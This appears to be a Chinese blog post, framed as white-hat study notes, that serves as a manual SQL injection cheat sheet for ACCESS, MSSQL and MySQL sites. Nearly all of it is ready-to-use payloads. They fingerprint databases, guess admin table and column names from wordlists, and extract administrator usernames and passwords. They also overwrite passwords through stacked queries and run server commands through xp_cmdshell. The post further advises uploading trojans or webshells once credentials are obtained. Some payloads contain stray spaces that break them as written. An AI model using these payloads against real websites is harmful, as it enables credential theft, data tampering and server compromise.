【白帽子學習筆記14】SQL注入常用語句
目前網站中使用的最多的數據庫要算是 ACCESS、SQL Server(MSSQL)、MySQL 這三個了,所以這裏的手工注入,我就以他們三個數據庫來分成三 小節,講述在不同的數據庫下不同的注入方法。
文章目錄
1、ACCESS
驗證是否有漏洞
http://www.xxx.com/xx.asp?id=x and 1=1
http://www.xxx.com/xx.asp?id=x and 1=2
判斷數據庫類型
http://www.xxx.com/xx.asp?id=x and user>0
ACESS數據庫返回的數據庫錯誤中一般會含有 “Microsoft JET Database”
猜數據庫表名
猜解表名的語句爲在注入點後加 上and exists (select * from 表名)
或者and exists (select count from 表名)
-
猜測數據庫中有叫做Keter的表,那就輸入
http://www.xxx.com/xx.asp?id=x and exists (select * from Keter)
,如果有就返回正常,沒有就有返回報錯
一般常見的表名有:admin、a_admin、x_admin、m_admin、adminuser、admin_user、 article_admin、administrator、manager、member、memberlist、user、users、userinfo、 user_info、admin_userinfo、userlist、user_list、login、用戶、密碼、會員、登陸、 movie、movies、news、password、clubconfig、config、company、book、art、bbs、dv_admin
等等。 -
猜完表名就應該猜列名了
http://www.xxx.com/xx.asp?id=x and exists (select admin_name from admin)
把select中的*換成具體的名字即可
一般常見的列名有:id、adminid、admin_id、adminuser、admin_user、adminuserid、 admin_userid、adminusername、admin_username、adminname、admin_name、adminpwd、 admin_pwd、adminpass、admin_pass、adminpassword、admin_password、administrator、 administrators、usr、usr_n、username、usr_name、usrpass、user_pass、password、 userpassword、user_password、pwd、userpwd、user_pwd、useradmin、user_admin、p_word、 passwd、pass_wd、yonghu、用戶、用戶名、mima、密碼、dw、oklook
等等。 -
猜列的長度:
http://www.xxx.com/xx.asp?id=x and (select top 1 len(adminname) from config)>1、>2、>3、>4
-
猜第N行的長度:
http://www.xxx.com/xx.asp?id=x and (select top N len(adminname) from config)>x
ASP+ACCESS 的注入攻擊,我們得到用戶名和密碼也就完成了。 如果我們要繼續入侵的話,只有進入後臺,看能否上傳木馬或利用一句話木馬來得到
2、SQL Server(MSSQL)
確認當前數據庫的用戶名
http://www.xxx.com/xxx.asp?id=xx and user>0
雖然 and user>0 很簡單,但卻包含了 SQLServer 特有注入方法的精髓。讓我們來看看它的含義: 首先,前面的語句是正常的,重點在 and user>0,因爲 user 是 SQLServer 的一個內置變量, 它的值是當前連接的用戶名,類型爲 nvarchar。而這裏我們拿一個 nvarchar 的值跟 int 的數的 0 比較,系統會先試圖將 nvarchar 的值轉成 int 型,當然,轉的過程中肯定會出錯, SQLServer 的出錯提示是:將 nvarchar 值“abc” 轉換數據類型爲 int 的列時發生語法錯 誤,呵呵,abc 正是變量 user 的值,這樣,不廢吹灰之力就拿到了數據庫的用戶名。還有 在我們的 SQLServer 數據庫裏的用戶 sa 是個等同 Adminstrators 權限的角色,拿到了 sa 權限,幾乎肯定可以拿到主機的 Administrator 了。而我們上面的方法可以很方便的測試 出是否是用 sa 登錄,如果是 sa 登錄,那麼返回的錯誤提示是將”dbo”轉換成 int 的列發生錯誤,而不是”sa”
獲取用戶的數據信息
- 暴當前表中的列:
http://www.xxx.com/xxx.asp?id=xx having 1=1--
- 暴任意表名和 列名的方法:
and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1
。其中N就是代表數據庫中的第N個表 - 暴任意表中的任意列:
and (select top 1 col_name(object_id('表名'),N) from sysobjects)>1
- 暴出數據庫中的數據:
and (select top 1 列名 from 表名 where id=N)>1
url中帶的是字符怎麼辦?
http://www.xxx.com/xxx.asp?action=value' and 1=1
修改數據庫中的數據
;update 表名 set 列名='內容' where 條件
比如http://www.xxx.com/xxx.asp?id=xx;update admin set password='123' where user name= 'Keter'
獲取數據庫名和數據庫版本和權限
- 獲取數據庫版本:
and (sel ect @@versi on)>0
- 獲取數據庫名:
and db_name()>0
- 獲取數據庫權限:
http://www.xxx.com/xxx.asp?id=xx and db_name()>0
- 獲取數據是否支持多句查詢:
http://www.xxx.com/xxx.asp?id=xx and (select count(1) from [sysobjects])>=0
MSSQL的擴展功能
- 查看服務器C盤的目錄:
;exec master..xp_cmd shell 'dir c:\'
(XP系統)
3、MYSQL
PHP 與 MySQL 是黃金組合,下面就以他們來作爲 MySQL 注入的平臺吧
數據庫版本
在 MySQL 版本 4(包括版本4)及以上版本新增了一個聯合查詢查詢(UNION)的功能, 比如 SQL 語句 1 UNION SQL 語句 2,提交之後我們的 SQL 語句 1 和 SQL 語句 2 都會被執行, 通過聯合查詢這個字面意思也是可以理解的。正是這個功能使得 MySQL 發生 SQL 注入漏洞的 危險性大大的得到提高,利用它我們可以輕易的獲取數據庫中其他數據表的信息。而在版本 4 以下,確不支持這個功能,而且由於 PHP 中的 mysql_query 函數限制了只能查詢一個 SQL 語句,即使你使用分號把多個 SQL 語句組合到一起嵌入 mysql_query 函數,實際上也只有第 一個 SQL 語句被提交給 MySQL,所以那個時候 MySQL 的注入並不是特別的嚴重,而如今確變了。
-
and ord(mid(version(),1,1))>51/*
返回正常版本大於4.0 ,返回錯誤版本小於4.0。 -
/*!...*/
,如果返回頁面是錯誤的話那幾乎可以確定網站後臺數據庫爲 MySQL 了,然後我們還可以進一步確認具體的版本,/*!30000%20s*/
(判斷版本是否小於3.0)其他的類似 -
確認字段數目:
- 方法1:UNION ,要求前面的 SQL 語句 1 和後面的 SQL 語句 2 中的字段數要相同,否則就會出錯。我們可以提交
union select 1,1,1,1
及其類似的語句。通過不斷的增 加 1 的個數,在結合返回信息可以迅速確定該查詢語句前面查詢的字段數目。 - 方法2:
order by
利用 order by 後加數字,MySQL 會解釋成按照第幾列排序,如果查詢沒有我們提交的數字的那麼多頁就會返回錯誤。
- 方法1:UNION ,要求前面的 SQL 語句 1 和後面的 SQL 語句 2 中的字段數要相同,否則就會出錯。我們可以提交
-
獲取當前數據庫的表名:
union select 字段數 from 表名
,中間的字段數大家要注意了,它是這樣表示的:假如 有三個字段,那麼就應該這樣:1,2,3。當然了這還是猜解表名。 -
查詢用戶名和密碼:
union select 1,password from admin
union select 1,username from admin
當然你可以加上where id = *
-
判斷是否是root權限:
and ord(mid(user(),1,1))=114/*
,正常的就是root權限